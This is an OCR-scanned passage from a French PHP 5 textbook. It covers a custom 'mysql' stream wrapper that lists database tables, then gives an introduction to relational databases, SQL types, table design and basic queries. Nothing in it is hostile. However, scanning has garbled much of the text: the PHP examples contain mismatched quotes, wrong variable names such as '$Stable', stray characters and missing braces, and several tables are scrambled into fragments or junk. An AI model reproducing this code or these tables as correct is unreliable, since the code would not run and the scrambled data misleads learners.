function dir_closedir() { 

return mysql_close($this->base) ; 
} 
} 

stream_wrapper_register('mysql ' , 'fluxMysql ') 

or die("Impossible d'enregistrer ce protocole !"); 

// Creation d'une base de donnees pour l'exemple 
// Connexion au serveur 

$db = mysql_connect("localhost", "root", ""); 
mysql_query(' CREATE DATABASE dir_opendir ' , $db); 
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// Connexion a cette base de donnees 
mysql_select_db("dir_opendir") ; 

// Creation de 10 tables 
for ($i=0; $i<10; $i++) { 

mysql_query(' CREATE TABLE 'ex'.$i." ('. 

"chl' VARCHAR( 10 ) NOT NULL ,'. 

"ch2' VARCHAR( 10 ) NOT NULL ,'. 

"ch3' VARCHAR( 10 ) NOT NULL)', $db) ; 

} 
mysql_close($db) ; 

// Liste les tables de la base de donnees 
$flux = opendir("mysql ://root@localhost/dir_opendir" 
or die("Impossible d'ouvir la ressource !"); 

echo "Liste des tables : \n"; 

while($table = readdir($flux)) { 
echo "-> " .Stable. "\n"; 



closedir($flux) ; 

// Suppression de la base 

$db = mysql_connect("localhost", "root", ""); 

mysql_query('DROP DATABASE dir_opendir' , $db) ; 

mysql_close($db); 

?> 

Le resultat de l'execution de ce script : 

Liste des tables : 

-> exO 

-> exl 

-> ex2 

-> ex3 

-> ex4 

-> ex5 

-> ex6 

-> ex7 

-> ex8 

-> ex9 

Enfin, il est possible de reinitialiser le pointeur du flux si vous implementer la methode 

dir_rewinddir ( ) . 
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(Classe Stream Personnalisee)->dir_rewinddir() 

Methode appelee lors de l'execution de la fonction rewinddir ( ) . A vous d'ecrire les 
commandes permettant de reinitialiser le pointeur du flux a sa position principale. 

Syntaxe : bool dir_rewinddir(void) 

retour Retournez la valeur TRUE en cas de succes et FALSE dans le cas contraire. 

Voici la source finale de cet exemple : 

<?php 

class fluxMysql { 

private $base; 

var Stable; 

function dir_opendir($chemin, $option=0) { 
$url = parse_url ($chemin) ; 
$this->base = mysql_connect($url ['host'] , $url ['user'] , $url ['pass']) ; 

$base = substr($url ['path'] , l-strlen($url ['path'])) ; 

if ($this->table = mysql_list_tables($base, $this->base)) { 

return TRUE; 
} else { 

return FALSE; 
} 
} 

function dir_readdir() { 

if ($row = mysql_fetch_row($this->table)) { 

return $row[0] ; 
} else { 

return FALSE; 
} 
} 

function dir_closedir() { 

return mysql close($thi s->base) ; 



function dir_rewinddir() { 

return mysql_data_seek($this->table, 0) ; 



} 



stream_wrapper_register(' mysql ' , 'fluxMysql ') 

or die("Impossible d'enregistrer ce protocole !' 



// Creation d'une base de donnees pour 1 'exemple 
// Connexion au serveur 
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$db = mysql_connect(" local host", "root", ""); 
mysql_query(' CREATE DATABASE di r_opendir ' , $db); 

// Connexion a cette base de donnees 
mysql_select_db("dir_opendir") ; 

// Creation de 10 tables 
for ($i=0; $i<10; $i++) { 

mysql_query(' CREATE TABLE 'ex'.$i." ('. 

"chl' VARCHAR( 10 ) NOT NULL ,'. 

"ch2' VARCHAR( 10 ) NOT NULL ,'. 

"ch3' VARCHAR( 10 ) NOT NULL)', $db) ; 

} 
mysql_close($db) ; 

// Liste les tables de la base de donnees 
$flux = opendir("mysql ://root@localhost/dir_opendir" 
or die("Impossible d'ouvir la ressource !"); 

echo "Liste des tables : \n"; 
while($table = readdir($flux)) { 

echo "-> " .Stable. "\n"; 
} 

// On reinitialise le pointeur a la position 
rewinddir($flux) ; 

// Et on recommence 

echo "\nListe des tables (encore !): \n"; 
while($table = readdir($flux)) { 
echo "-> " .Stable. "\n"; 
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closedir($flux) ; 

// Suppression de la base 

$db = mysql_connect("localhost", "root", ""); 

mysql_query('DROP DATABASE dir_opendir' , $db) ; 

mysql_close($db); 

?> 

Avec le resultat suivant : 

Liste des tables : 

-> exO 

-> exl 

-> ex2 

-> ex3 

-> ex4 

-> ex5 

-> ex6 

-> ex7 
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-> ex8 
-> ex9 

Liste des tables (encore !): 

-> exO 

-> exl 

-> ex2 

-> ex3 

-> ex4 

-> ex5 

-> ex6 

-> ex7 

-> ex8 

->.ex9 
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Introduction aux bases de donnees 



Si vous souhaitez stocker des informations et pouvoir, par la suite, les trier, les compter, les 
filtrer, alors vous serez certainement amene a utiliser une base de donnees. 

Les bases de donnees peuvent etre utilisees pour gerer un repertoire telephonique ; dans ce cas, 
vous y stockerez probablement des noms, prenoms, adresses et numeros de telephone et, la 
plupart du temps, vous filtrerez ces informations par nom. Elles peuvent egalement etre 
utilisees pour stocker les messages d'un forum, qui pourront alors etre tries par date ou par fil 
de discussion. 

Comme vous le pressentez, il y a de nombreux domaines d'applications ayant recours aux bases 
de donnees. 

Le choix d'une base de donnees n'est pas simple, il peut vous etre dicte par votre hebergeur, par 
votre superieur, par le covit, par les performances, par votre "religion" informatique... PHP 5 
simplifie grandement l'utilisation de petites bases de donnees en integrant SQLite qui ne 
necessite aucune installation ni creation d'utilisateurs. 

Avant de voir comment utiliser une base de donnees (avec PHP), detaillons ce qu'est une base 
de donnees (nous ne nous interesserons ici qu'aux bases de donnees relationnelles). 



10.1. Introduction aux bases de donnees 

Une base de donnees peut etre assimilee a un ensemble de fichiers (dans lesquels sont stockees 
les informations). Ces derniers sont geres uniquement par un logiciel serveur (il n'est 
absolument pas question que vous les manipuliez directement). Tout comme vos scripts PHP 
sont mis a disposition du public par un serveur Internet, vos donnees sont mises a disposition 
par un serveur de bases de donnees. Les utilisateurs, quant a eux, devront utiliser un logiciel 
client pour manipuler ces donnees. 

Les differents editeurs de bases de donnees fournissent ainsi systematiquement le client et le 
serveur de bases de donnees. En regie generale, le client d'une base de donnees ne sera capable 
de communiquer qu'avec le serveur pour lequel il a ete concu. Comme nous le verrons par la 
suite, il existe toutefois des standards permettant de communiquer avec plusieurs types de 
serveurs de bases de donnees. 

Comme nous l'avons dit, l'utilisateur devra acceder aux donnees en utilisant le logiciel client 
approprie. Or, si le logiciel differe d'un serveur de bases de donnees a l'autre, il existe des families 
de bases de donnees qui utilisent plus ou moins le meme langage, a savoir le langage SQL. 



REMARQUE 




Interface graphique 

II existe egalement des clients ayant une interface graphique utilisable directement via 
votre navigateur. Pour MySQL, vous pourrez par exemple utiliser phpMyAdmin. 



Reportez-vous a Vannexe "phpMyAdmin" pour plus de details. 



RENVOI 
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10.2. Introduction ail langage SQL 
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Le langage SQL (Structured Query Language = langage de requetes structurees) est cense etre 
normalise (notamment avec les normes SQL92 et SQL99), mais la plupart des editeurs 
l'adaptent a leur sauce. 

Ce langage s'appuie sur une representation des donnees sous forme de tables. Une table peut 
etre assimilee a un tableau. Chaque table est composee de champs (les colonnes du tableau) et 
d'enregistrements (les lignes du tableau). Dans le cas d'un repertoire telephonique, chaque 
enregistrement representera un individu, et il y aura un champ pour le nom, un champ pour le 
prenom, etc. 

Une base de donnees peut (et c'est quasiment toujours le cas) contenir plusieurs tables liees les 
unes aux autres. 

II est a noter qu'un meme serveur de bases de donnees peut heberger plusieurs bases de 
donnees (autrement dit plusieurs ensembles de tables). 



Le typage 



Une des forces des bases de donnees SQL sur les fichiers est, entre autres, que les champs sont 
types. II n'est done pas question de tenter de mettre une chaine de caracteres la ou un entier est 
attendu, ce qui assure une certaine coherence dans les informations. En revanche, il faudra 
evidemment bien reflechir au choix du type de donnees (ce qui ne constitue generalement pas 
une grosse difficulte). 

Cela peut avoir son importance, notamment lors d'operations de tri. Ainsi, des nombres stockes 
dans un champ de type texte ne seront pas tries de la meme maniere que s'ils sont dans un 
champ de type entier. En effet, la chaine de caracteres "10" est alphanumeriquement plus petite 
(avant) que "2" (le premier caractere de "10" etant avant le premier caractere de "2"), alors que 
le nombre 2 est plus petit que le nombre 10. 

Le choix du type est egalement important en terme d'occupation du disque : un nombre stocke 
sous forme d'une chaine de caracteres prend necessairement plus de place que s'il est stocke 
sous sa forme binaire. Inutile, de meme, de choisir un type sur 3 octets pour un nombre entier 
compris entre et 255 (tenant done sur un unique octet). 

Les contraintes 

Le langage SQL permet egalement d'imposer des contraintes (autres que le type) sur les 
donnees, ceci toujours afin d'assurer la coherence des informations. II est, par exemple, ainsi 
possible d'obliger a ce qu'un champ soit renseigne, ou bien a ce que la valeur donnee 
appartienne a une liste predefinie (ce dernier point n'est toutefois pas vrai pour tous les 
serveurs de bases de donnees). 



10.3. Les relations entre tables 



Les regies de conception d'une base de donnees peuvent un peu derouter les neophytes, mais 
ce n'est finalement pas aussi complique que cela parait (meme s'il existe des methodes bien 
savantes, la plus celebre concernant les bases de donnees etant Merise). En effet, il n'est 
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generalement pas question d'avoir une base de donnees ne possedant qu'une seule table, dans 
laquelle on mettrait toutes les informations (comme dans un fourre-tout). Non. Generalement, 
une base est constitute de plusieurs tables reliees entre elles par un ou plusieurs champs 
identifiant de facon unique un enregistrement de la table. 

Explication. Imaginez que vous souhaitez constituer une base de donnees de films. Dans ce cas, 
vous serez amene a indiquer le nom du film, le nom du realisateur ainsi que la liste des acteurs. 
Mais, vous comprenez bien qu'il n'est pas question d'avoir une table (comme la suivante) avec, 
pour chaque enregistrement, un triplet (film, realisateur, acteur), sachant qu'il y a plusieurs 
acteurs par film et que nous serions obliges de repeter le nom du realisateur. 



Tableau 10.1 : 


Exemple de table d'une base de donnees mal congue 


Film 


Realisateur Acteur 


Forrest Gump 


Robert Zemeckis Tom Hanks 



Forrest Gump 

II taut sauver le soldat Ryan 

II taut sauver le soldat Ryan 



Robert Zemeckis 
Steven Spielberg 
Steven Spielberg 



Robin Wright Penn 
Tom Hanks 
Edward Burns 
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Nous pourrions eventuellement envisager de creer une table avec plusieurs champs acteur 
(acteurl, acteur2, etc.). Bien que ce soit generalement le premier reflexe des neophytes, cela est 
une tres mauvaise idee. Ne serait ce que parce que Ton ne sait pas, a priori, combien il y a 
d'acteurs (au maximum) par film. 

Non, comme nous l'avons deja dit, il faut alors faire plusieurs tables. Dans notre cas, une 
premiere approche (pas encore satisfaisante) peut consister a avoir une table de couples 
film/realisateur et une table de couples film/acteur. Mais, dans ce cas, nous serions a nouveau 
oblige de dupliquer les noms des films et des acteurs (si ces noms sont saisis manuellement, les 
risques de fautes de frappes sont importants). 

La solution consiste a creer une table///m, une table realisateur et une table acteur, ainsi que des 
tables de liaisons. Les valeurs de champs dupliquees seront alors remplacees par des references 
a un champ d'une table. 

Ce qui donne, dans notre cas : 



Tableau 10.2: Table Film 




Filmld 


Film 


1 


Forrest Gump 


2 


II Faut Sauver le Soldat Ryan 


Tableau 10.3: Table Acteur 


Acteurld 


Acteur 



Tom Hanks 
Robin Wright Penn 
Edward Burns 
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Tableau 10.4 : Table de liaison Film-Acteur 
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Filmld 

1 
1 
2 
2 



Acteurld 

1 
2 
1 

1~ 



Tableau 10.5: Table Realisateur 



Realisateurld 
1 

2 



Realisateur 

Robert Zemeckis 
Steven Spielberg 



Nora Ephron 



Tableau 10.6 : Table de liaison Film-Realisateur 



Filmld 


Realisateurld 


1 


1 


2 


2 


3 


3 



A premiere vue, cela est devenu plutot illisible et difficile a manipuler. Detrompez-vous ; les 
requetes SQL vous permettront d'acceder simplement aux donnees. La difficulte que peut 
presenter la saisie des donnees dans ces tables sera generalement masquee par une interface 
graphique. Mais, surtout, nous avons grandement gagne en liberte. II n'y a desormais plus de 
contraintes: II est possible d'indiquer autant de noms d'acteurs et de realisateurs que voulus par 
film. Aucun nom de film, d'acteur ou de realisateur n'est duplique (il sera done facile de les 
corriger si besoin). 

Et enfin, detail qui a toute son importance, une base de donnees ainsi structured occupera 
beaucoup moins de place que les premieres versions envisagees. En effet, si Ton considere une 
base de 65 535 films (ce qui est relativement peu pour une base de donnees) faisant intervenir 
au plus un total de 65 535 acteurs et realisateurs, alors les identifiants de film, acteur et 
realisateur pourront etre stockes sur 2 octets. Si Ton compte un realisateur et cinq acteurs 
precises par film, et si Ton suppose que les noms de film, d'acteur et de realisateur necessitent 
en moyenne 25 caracteres, alors : 

La taille de la table film est 65 535* (2 +25) = 1 769 445 octets. 
■ La taille de la table acteur est 65 535*(2+25) = 1 769 445 octets 

La taille de la table de liaison film-acteur est 65 535*5*(2+2) = 1 310 700 octets. 
La taille de la table realisateur est 65 535*(2+25) = 1 769 445 octets. 
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La taille de la table de liaison film-realisateur est 65 535*(2+2) = 262 140 octets. 

Soit un total de 6 881 175 octets = 6,56 Mo. 

Alors qu'avec la premiere version proposee, la base de donnees aurait eu une taille de 
65 535*5*(25+25+25) = 24 575 625 octets = 23,4 Mo. 



Cles primaires et compteurs 



L'identifiant unique d'un enregistrement dans une table est appele la cle primaire. C'est assez 
souvent un champ numerique (comme evoque dans 1'exemple precedent) portant comme nom 
"id" ou se terminant par "id" (ou encore "pk" comme "Primary Key"). La cle primaire peut 
toutefois etre un champ d'un autre type, ou encore etre un ensemble de champs. 

Dans le cas d'une cle primaire numerique du type de celle presentee dans 1'exemple precedent, 
il est fort interessant de pouvoir determiner quelle est la valeur suivante disponible. Pour cela, 
un certain nombre de serveurs de bases de donnees proposent un type particulier (ex. : serial 
pour PostgreSQL) ou "modificateur" de type (ex. : auto_increment pour MySQL) que Ton 
peut appeler "compteur" ou "type auto-incremente". Certains serveurs (ex. : Oracle) ne 
proposent pas ce type de facilite, mais il est alors possible d'obtenir le meme effet avec une 

SEQUENCE et un TRIGGER. 



Index 



Pour les champs sur lesquels de nombreuses recherches sont effectuees, il est generalement 
recommande d'associer un index. Cette operation est bien souvent implicitement appliquee sur 
les cles primaires, mais vous pourrez etre amene a vous poser la question de l'interet a l'utiliser 
pour un autre de vos champs. Nous ne nous etendrons pas sur ce sujet, mais sachez que ceci 
permet d'accelerer grandement les recherches (meme si cela entraine un delai supplementaire 
lors de l'ajout de donnees, et reclame quelques ressources disque et memoire 
supplementaires) . 



10.4. Le langage SQL 



II n'est pas dans notre intention de decrire, ici, l'ensemble des commandes SQL (il faudrait y 
consacrer un livre complet). Mais voici, tout de meme, les principales ; celles qui, 
probablement, repondront a 90 % de vos besoins. 

Si vous souhaitez tester immediatement ces commandes, vous devez au prealable consulter la 
documentation de votre base de donnees afin d'identifier et de lancer le logiciel client. Une fois 
que vous avez acces au client de votre base de donnees, vous pouvez saisir ces commandes, en 
n'omettant pas (generalement) de les faire suivre d'un point-virgule (indiquant ainsi au client, 
non pas que vous souhaitez aller a la ligne, mais que vous avez fini de saisir votre requete). 

II est a noter que certaines de ces operations necessitent des droits (privileges) particuliers ; 
vous ne serez done pas necessairement autorise a les realiser. 
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Chapitre 10 L'utilisation des bases de donnees 



Creation/suppression d'une base de donnees 
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La creation d'une base de donnees n'est pas toujours realisable depuis le logiciel client de la 
base de donnees. Pour certaines bases, cette operation doit etre realisee a partir d'un 
executable fourni avec le serveur. 



CREATE DATABASE 

Cree une base de donnees. 

Syntaxe CREATE DATABASE nombase 

nombase Nom de la base de donnees a creer. 

La suppression de la base de donnees (attention aux fausses manipulations) se fait via la 
commande : 



DROP DATABASE 

Supprime une base de donnees. 

Syntaxe DROP DATABASE nombase 

nombase Nom de la base de donnees a supprimer. 



Les types 



Avant de passer a la suite, il est necessaire de vous presenter les differents types supportes par 
les bases de donnees. La encore, cela peut varier d'un serveur a l'autre, mais cela reste, dans les 
grandes lignes, sensiblement identique (nous nous sommes bases principalement sur les types 
MySQL). Certains types peuvent avoir des noms differents selon les serveurs. De ce fait, de 
nombreux serveurs acceptent plusieurs noms pour designer un meme type. 

Les types numeriques 

Tableau 10.7 : Les types numeriques entiers signes 



Type 


Valeur min. 


Valeur max. 


Taille en octets 


TINYINT 


-128 


127 


1 


SMALLINT 
INT2 


-32768 


32767 


2 


MEDIUMINT 


-8388608 


8388607 


3 
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Type 


Valeur min. 


Valeur max. 


Taille en octets 


INT 

INT4 

INTEGER 


-2147483648 


2147483647 


4 


BIGINT 
INT 8 


-9223372036854775808 


9223372036854775807 


8 



II est egalement possible d'utiliser des types entiers non signes en completant le nom du type 
par unsigned. Cela permet d'atteindre une valeur maximale plus grande (lorsque les noms 
negatifs ne sont pas utilises). 

Tableau 10.8 : Les types numeriques entiers non signes 



Type 


Valeur min. 


Valeur max. 


Taille en octets 


TINYINT UNSIGNED 





255 


1 


SMALL INT UNSIGNED 
INT2 UNSIGNED 





65535 


2 


MEDIUMINT UNSIGNED 





16777215 


3 


INT UNSIGNED 
INT4 UNSIGNED 
INTEGER UNSIGNED 





2147483647 


4 


BIGINT UNSIGNED 
INT 8 UNSIGNED 





18446744073709551615 


8 
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II est a noter que rares sont les bases de donnees qui proposent un type booleen. 



Tableau 10.9: 


Les types numeriques decimaux 




Type 


Etendue 


Taille en octets 


FLOAT 
FLOAT4 


[-3.402823466E+38, -1.1 75494351 E-38] 

U{0}U 

[1 .1 75494351 E-38, 3.402823466E+38] 


4 



DOUBLE 
DOUBLE 
PRECISION 
REAL 
FLOAT 8 

DECIMAL 

NUMERIC 



[-1.7976931348623157E+308, 
-2.225073858507201 4E-308] 
U{0}U 

[2.225073858507201 4E-308, 
1.7976931 3486231 57E+308] 
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Les types texte 



Tableau 10.10 : Les types texte 



<s> 


GO 


■o 


CD 
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£= 
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£= 


-j — 
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CO 


■D 


GO 


CD 
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■D 






= 
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Type 


Taille en 


octet 


Description 


CHAR 


1 






CHARACTER (X) 
CHAR(X) 


Depend de X 


Chaine de taille fixe de X caracteres, ne 
pouvant depasser 255 caracteres. 


CHARACTER VARYING (X) 
VARCHAR(X) 


Variable 




Chaine de taille variable ne pouvant depasser 
X caracteres (X ne peut depasser 255). 


TINYBLOB 
TINYTEXT 


Variable 




Chaine de caracteres limitee a 255 
caracteres. 


BLOB 

TEXT (MySQL) 


Variable 




Chaine de caracteres limitee a 65 535 
caracteres. 


MEDIUMBLOB 
MEDIUMTEXT 


Variable 




Chaine de caracteres limitee a 16 777 215 
caracteres. 


LONGBLOB 
LONGTEXT 


Variable 




Chaine de caracteres limitee a 
4 294 967 295 caracteres. 


TEXT (PostgreSQL) 


Variable 




Chaine de caracteres sans limite. 



Les types date 



Tableau 10.11 : 


Les types dates 






Type 


Format 


Precision 


Taille en octets 


DATE 


AAAA-MM-JJ 


jour 




DATETIME 


AAAA-MM-JJ hh:mm:ss 


seconde 





TIMESTAMP (MySQL) 

TIMESTAMP 

TIME (MySQL) 

TIME (PostgreSQL) 

TIME WITH TIME 
ZONE (PostgresSQL) 



AAAAMMJJHHMMSS 



HH:MM:SS 



seconde 

microseconde 

seconde 

microseconde 

microseconde 



YEAR (MySQL) 



annee 
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Creation/suppression d'une table 



II existe de nombreuses variantes, d'une base de donnees a l'autre, au niveau des options (qui ne 
seront done generalement pas precisees ici), mais les requetes elementaires restent les memes. 



CREATE TABLE 

Cree une table. 

Syntaxe CREATE TABLE nomtable (champs) 

nomtable Nom de la table a creer. 

champs Definition des champs de la table. (Voir ci-apres) 

Les champs de la table sont definis par une succession de sequences "nomchamp type 
[attributs de champ] " separees par des virgules eventuellement suivies par les attributs de 
la table. 

Un exemple tout simple de creation de table permettant de stocker un identifiant de film, un 
nom et une date de sortie donne : 

CREATE TABLE film (filmid INT2 UNSIGNED, film VARCHAR(64), datesortie DATE); 

Les attributs des champs peuvent etre : 

NOT NULL Pour indiquer que le champ ne peut pas etre non renseigne (NULL). 

NULL Pour preciser que le champ peut etre laisse non renseigne (NULL), 

(attribut par defaut). 

DEFAULT val eurpardef aut Pour preciser une valeur par defaut si le champ n'est pas renseigne (ou mis 

a NULL). 

PRIMARY KEY Pour indiquer qu'il s'agit d'une cle primaire. 

AUTO_INCREMENT (Uniquement valable pour MySQL). Pour preciser que, par defaut, ce 
champ doit prendre la valeur du dernier indice aff ecte + 1 . Ce champ doit 
etre une cle. 

Si Ton reprend notre exemple, il est evident que le nom du film ne doit pas etre laisse vide et 
que filmid est une cle primaire. 

CREATE TABLE film (filmid INT2 UNSIGNED PRIMARY KEY, 
film VARCHAR(64) NOT NULL, 
datesortie DATE); 

Comme nous l'avons egalement dit, il est souhaitable que le champ filmid soit 
auto-incremente ; la requete devrait etre, sous MySQL : 

CREATE TABLE film (filmid INT2 UNSIGNED PRIMARY KEY AUTOJNCREMENT, 
film VARCHAR(64) NOT NULL, 
datesortie DATE); 
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Les attributs de la table peuvent etre : 

PRIMARY KEY (champl, 

champ2, ...) Pour preciser une cle primaire sur plusieurs champs. 

INDEX [nomindex] 

(champl, champ2, ...) Pour preciser une cle sur plusieurs champs. Un index sera alors cree, avec la 
possibilite de preciser son nom avec nomindex. 

UNIQUE [INDEX] 
[nomindex] (champl, 

champ2, ...) Pour contraindre l'unicite de l'ensemble (champl, champ2, ..) dans la 

table. 

Certaines bases utilisent le mot-cle key au lieu de index (avec la meme syntaxe). 

Poursuivons notre exemple. II n'est pas question de preciser plusieurs fois qu'un acteur donne 
a joue dans un film donne. Done, pour eviter les doublons, la definition de la table de liaison 
film-acteur pourra etre : 

CREATE TABLE film2acteur (filmid INT2 NOT NULL, 

acteurid INT2 NOT NULL, 
UNIQUE(filmid, acteurid)); 

Vous vous etes completement trompe ? Vous ne voulez plus de cette table ? Pas de probleme ! 
vous pouvez la supprimer avec l'instruction : 



DROP TABLE 

Suppression d'une table. 

Syntaxe DROP TABLE nomtable 

nomtabl e Nom de la table a supprimer (il est possible d'en preciser plusieurs separes 

par une virgule). 

Si, en revanche, vous souhaitez apporter une correction a une table existante, vous pouvez faire 
appel a : 



ALTER TABLE 

Modifie la structure d'une table existante. 

Syntaxe ALTER nomtable modification 

nomtable Nom de la table a modifier. 

modification Modification a apporter a la table (voir ci-apres). (II est possible 

d'apporter plusieurs modifications en les separant par une virgule). 
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Les modifications qui peuvent etre apportees sont : 

add [column] champ : pour ajouter un champ (en utilisant la meme syntaxe que pour 
create table). Le mot-cle column n'a pas d'impact et est generalement optionnel. II 
assure simplement la compatibilite avec les syntaxes d'autres serveurs de bases de donnees. 

add primary key (champi , champ2 , . . . ) : pour preciser une cle primaire (cf. create 
table). 

add index [nomindex] (champi, champ2 , . . . ) : pour ajouter un index (cf. CREATE 
table). 

add unique [nomindex] (champi, champ2 , ...) : pour ajouter une contrainte 
d'unicite (cf. create table). 

drop [column] nomchamp : pour supprimer le champ "nomchamp" . Le mot cle column 
n'a pas d'impact et est generalement optionnel. II assure simplement la compatibilite avec 
les syntaxes d'autres serveurs de bases de donnees. 

drop primary key : pour supprimer une definition de cle primaire. 

DROP INDEX nomindex : pour Supprimer l'index "nomindex". 

rename [as I to] nomtable2 : pour renommer la table en "nomtableT . 

Ainsi, si nous voulons egalement preciser la duree du film (en minutes), et mettre, par defaut, 
0, il est possible de reprendre la table creee precedemment pour faire : 

ALTER TABLE film ADD duree INT2 DEFAULT 



Ajouter des donnees 



Nous allons maintenant pouvoir entrer dans le vif du sujet. Ajouter des donnees, c'est tres 
simple. Pour cela, vous disposez de la commande : 



INSERT 



Ajoute un enregistrement dans une table. 

Syntaxe INSERT INTO nomtable [(champi, champ2, ...)] VALUES (valeurl, 

valeur2, ...) 

nomtable Nom de la table dans laquelle inserer les donnees du nouvel 

enregistrement. 

champi, champ2, Noms des champs que vous souhaitez preciser (les autres champs 
prendront leur valeur par defaut) . Si vous ne specif iez pas de liste de noms 
de champs, alors vous devrez preciser toutes les valeurs et dans l'ordre des 
champs. 

valeurl, valeur2, Valeurs des champs dans le meme ordre que precise par les noms des 
champs. Les chaines de caracteres et dates doivent etre specifiees entre 
apostrophes. Si la valeur contient une apostrophe, alors vous pouvez au 
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Chapitre 10 L'utilisation des bases de donnees 



choix (et selon le serveur de bases de donnees) mettre deux apostrophes ou 
faire preceder l'apostrophe d'un anti-slash. 

Une variante consiste a ecrire INSERT INTO nomtable SET champl=valeurl, 
champ2=valeur2, .. 

Avec MySQL le mot-cle into est optionnel (mais ce n'est pas une raison pour l'omettre). 

Si Ton reprend une table creee par 

CREATE TABLE film (filmid INT2 UNSIGNED PRIMARY KEY, 
film VARCHAR(64) NOT NULL) 

il sera alors possible d'ajouter un enregistrement, soit avec la requete suivante : 

INSERT INTO film VALUES (1, 'Forrest Gump 1 ); 

soit en precisant les noms de tous les champs : 

INSERT INTO film (filmid, film) VALUES (1, 'Forrest Gump'); 
INSERT INTO film (film, filmid) VALUES ('Forrest Gump', 1); 

soit, notamment pour profiter du champ auto-incremente, avec : 

INSERT INTO film VALUES (NULL, 'Forrest Gump'); 
INSERT INTO film (film) VALUES ('Forrest Gump'); 

Si le nom du film contient une apostrophe, alors la requete aura Failure suivante : 

INSERT INTO film (film) VALUES ('La vie n"est pas un long fleuve tranquille'); 
INSERT INTO film (film) VALUES ('La vie n\'est pas un long fleuve tranquille'); 



Mettre a jour des donnees 



II est bien evidemment possible de modifier des donnees ; pour cela, vous disposez de la 
commande update. 



UPDATE 



Met a jour un ensemble d'enregistrements. 

Syntaxe UPDATE nomtable SET champl=valeurl[, champ2=valeur2] [WHERE 

condition] 

nomtabl e Nom de la table contenant les enregistrements a modifier. 

c h ampX Nom du champ dont on veut modifier la valeur. 

val eurX Nouvelle valeur pour le champ. 

condi ti on Criteres de selection des enregistrements devant etre modifies. 
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Si vous souhaitez apporter une modification sur l'ensemble de la table, vous pouvez lancer une 
requete du type : 

UPDATE film SET f 11 m= ' Forrest Gump'; 

Dans ce cas, tous les films de la base porteront le meme nom (ce n'est certainement pas ce que 
Ton veut, mais la requete aurait ete similaire si nous avions voulu reinitialiser un champ servant, 
par exemple, a compter le nombre de clics sur un lien). 

II existe de nombreux operateurs et fonctions pouvant etre utilises dans les expressions de 
conditions ou meme encore qui peuvent etre appliquees aux valeurs retournees. Meme si nous 
vous en presenterons quelques-uns au fil de ce chapitre, il vous est conseille de consulter la 
documentation de votre serveur de bases de donnees pour en avoir la liste exhaustive. 

La condition la plus rudimentaire est, bien evidemment, l'egalite. Ainsi, si vous avez fait une 
faute d'orthographe dans le nom du film ayant l'identifiant 1, vous pourrez executer la requete : 

UPDATE film SET film=' Forrest Gump' WHERE filmid=l; 

Mais il est egalement possible, par exemple, de modifier les noms de tous les titres de films 
commencant par "F" (meme si, dans notre cas, cela n'a pas de sens), en utilisant l'instruction 
like et le joker % (equivalent du * dans la plupart des systemes d'exploitation, qui remplace un 
nombre quelconque de caracteres). 

UPDATE film SET film=' Forrest Gump' WHERE film LIKE 'F%'; 

Le joker pour un caractere unique (equivalent du ? dans la plupart des systemes d'exploitation) 
est l'underscore '_'. Notez toutefois qu'il est possible de completer la requete pour utiliser 
d'autres caracteres comme joker. 



Supprimer des donnees 

Si vous souhaitez supprimer une donnee, faites appel a l'instruction delete. 



DELETE 



Supprime un ensemble d'enregistrements. 

Syntaxe DELETE FROM nomtable [WHERE condition] 

nomtabl e Nom de la table contenant les enregistrements a supprimer. 

condi ti on Criteres de selection des enregistrements devant etre modifies. 

Pour vider totalement la table film, vous n'aurez done qu'a saisir la requete suivante : 

DELETE FROM film; 

Si vous souhaitez supprimer les enregistrements pour lesquels le nom du film n'est pas 
renseigne (cela ne peut pas arriver si vous avec cree la table avec le champ film defini comme 
not null), vous devrez utiliser : 
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DELETE FROM film WHERE film IS NULL; 
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NULL est different de la chaine vide 

Attention, il ne faut pas confondre un champ non renseigne (represents par null) 
avec une chaine de caracteres vide (representee par deux apostrophes consecutives). 



Lire des donnees 

Maintenant que nous avons vu comment ajouter des enregistrements, nous allons voir 
comment y acceder en lecture. Pour cela nous disposons de l'instruction select, dont void la 
syntaxe abregee : 



SELECT 



Retourne un ensemble d'enregistrements. 

Syntaxe SELECT [DISTI NCT | ALL] champl, champ2, ... FROM tablel, 

table2,... [WHERE condition] 

DISTINCT Pour ne retourner que des valeurs differentes (pas de doublons). 

ALL Pour autoriser les doublons (valeur par def aut) . 

champl , champ2 , . . . Liste des champs a retourner. 

tabl el , tabl e2 Liste des tables impliquees dans la recherche. 

condi ti on Condition que doivent remplir les enregistrements. 

Pour avoir la liste de tous les noms des films connus de la base de donnees, vous n'aurez qu'a 
executer la requete : 

SELECT film FROM film; 

Si vous souhaitez egalement recuperer l'identifiant du film vous utiliserez alors plutot : 

SELECT filmid, film FROM film; 

ce qui revient a afficher tous les champs des films, et qui peut se faire de fagon plus generique 
avec : 

SELECT * FROM film; 

Si, par contre, vous ne souhaitez que le nom du film ayant pour identifiant la valeur 1, la requete 
devient : 

SELECT film FROM film WHERE filmid=l; 

Et, pour avoir la liste des films commencant par "F" : 
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SELECT film FROM film WHERE film LIKE 'F%'; 

Tout en continuant de nous interesser a cette syntaxe de base, nous allons legerement 
compliquer l'affaire afin de nous rapprocher d'une requete classique. Nous avons, en effet, vu 
qu'il etait souvent preferable de stocker les informations dans de multiples tables liees entre 
elles par des cles primaires. Mais nous ne savons pas encore comment mettre en oeuvre ces 
liens. Pour cela, il suffit d'utiliser la requete select sur plusieurs tables, et de preciser dans la 
clause where la condition du lien. 

Concretement si Ton a deux tables, l'une stockant des noms de villes et l'autre des noms de 
magasins ainsi qu'un identifiant de ville (ville ou se situe le magasin) crees avec les requetes 
suivantes : 

CREATE TABLE tableville (villeid INT4 PRIMARY KEY, ville VARCHAR(128)) ; 
CREATE TABLE tablemagasin (magasin VARCHAR(128) , villeid INT4); 

la requete permettant de retourner les couples (magasin, ville) sera alors 

SELECT tablemagasin. magasin, tableville. ville FROM tablemagasin, tableville 
WHERE tabl emagasi n . vi 1 1 ei d=tabl evi 1 1 e . vi 1 1 ei d ; 

Vous noterez au passage qu'il est possible de preciser a quelle table appartient le champ precise 
en utilisant la syntaxe "nomtable .nomchamp". II n'est cependant pas necessaire de preciser le 
nom de la table s'il n'y a pas de confusion possible, ce qui est vrai ici pour les champs "magasin" 
et "ville" mais pas pour le champ "villeid". La requete peut done egalement s'ecrire : 

SELECT magasin, ville FROM tablemagasin, tableville 

WHERE tabl emagasi n.vil leid=tabl evi lle.vil leid; 

Si Ton reprend l'exemple des films dans lesquels interviennent trois tables, et si nous nous 
interessons aux acteurs jouant dans ces films, cela donne : 

SELECT film, acteur FROM film, acteur, film2acteur 

WHERE film.filmid=film2acteur.filmid 
